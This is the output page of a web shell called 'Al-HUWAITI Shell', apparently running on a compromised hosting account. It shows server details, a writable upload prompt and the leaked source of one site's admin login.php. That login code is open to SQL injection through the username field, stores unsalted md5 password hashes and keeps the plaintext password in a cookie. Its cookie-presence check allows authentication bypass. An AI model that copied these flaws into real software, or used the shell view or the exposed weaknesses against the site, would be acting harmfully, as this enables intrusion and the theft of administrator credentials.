Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/admin/login.php
<?php
include "includes/config.db.php";
if(isset($_POST['adminlogin'])){
    $adminname = $_POST['name'];
    $adminpassword = $_POST['password'];
    
    $findAdmin = mysqli_query($conn, "SELECT * FROM admin WHERE username='$adminname'");
    $admin = mysqli_fetch_assoc($findAdmin);
    if(mysqli_num_rows($findAdmin)>0 && $admin['username']==$adminname && $admin['password'] === md5($adminpassword)){
        $auth = 'admin_in';
        setcookie("adminid",$admin["id"]);
		setcookie("adminpass",$adminpassword);
		setcookie("auth",$auth);
        header("location:"."./");
    }
    elseif(mysqli_num_rows($findAdmin)>0 && $admin['username']==$adminname && $admin['password'] != md5($adminpassword)){
        echo "<script>alert('Wrong Password');</script>";
    }
    else{
        echo "<script>alert('User Does Not Exist');</script>";
    }
}
if(isset($_COOKIE['adminid']) && isset($_COOKIE['adminpass']) && isset($_COOKIE['auth'])){
    header("location:"."./");
}
?>
<html>

<head>
    <!-- Meta Tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Login - Admin Panel</title>
    <!-- Bootstrap CDN Sources -->
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/cosmo/bootstrap.min.css" rel="stylesheet" integrity="sha384-h21C2fcDk/eFsW9sC9h0dhokq5pDinLNklTKoxIZRUn3+hvmgQSffLLQ4G4l2eEr" crossorigin="anonymous">
</head>

<body>

<!-- login Panel -->

<div class="container" style="margin-top:30px">
		<div class="row">
			<div class="col-sm-6 col-md-4 col-md-offset-4">
				<h1 class="text-center">Mage Admin Panel</h1>
				<h2 class="text-center">Sign in</h2>
				<div>
					<form action="login.php" method="post" name="login">
						<input type="text" class="form-control" placeholder="Username" name="name" required autofocus><br>
						<input type="password" class="form-control" placeholder="Password" name="password" required><br>
						<button class="btn btn-lg btn-primary btn-block" type="submit" name="adminlogin">
							Sign in</button>
					</form>
				</div>
			</div>
		</div>
	</div>

    <!-- <div style="height:100%;" class="container-fluid d-flex justify-content-center align-items-center">
        <div style="max-width:330px;" class="row justify-content-center g-3 border border-black rounded-3 py-4">
        <div class="col-11 border border-black rounded-3 p-3 d-flex justify-content-center align-items-center">
        <h3>Admin Log-in</h3>
        </div>
            <div class="col-11 border border-black rounded-3 p-3 mb-3">
                
                <form method="post">
                    <div class="mb-3">
                        <label for="username" class="form-label">Username</label>
                        <input type="text" class="form-control" id="username" placeholder="Type Username" name="name" required autofocus >
                    </div>
                    <div class="mb-3">
                        <label for="exampleInputPassword1" class="form-label">Password</label>
                        <input type="password" class="form-control" id="exampleInputPassword1" name="password" required>
                    </div>
                    
                    <button type="submit" class="btn btn-primary" name="adminlogin">Log-in</button>
                </form>
            </div>
        </div>
    </div> -->

    <!-- Bootstrap Script Tags -->

    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js"
        integrity="sha384-I7E8VVD/ismYTF4hNIPjVp/Zjvgyol6VFvRkX/vR+Vc4jQkC+hVqc2pM8ODewa9r"
        crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.min.js"
        integrity="sha384-BBtl+eGJRgqQAUMxJ7pMwbEyER4l1g+O15P+16Ep7Q9Q+zqX6gSbd85u4mG4QzX+"
        crossorigin="anonymous"></script>
    <script src="components/js/jquery-3.4.1.min.js"></script>

    <!-- AOS Animation Script -->
    <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>

    <!-- External Scripts -->
    <script src="components/js/main.js"></script>
</body>

</html>

Al-HUWAITI Shell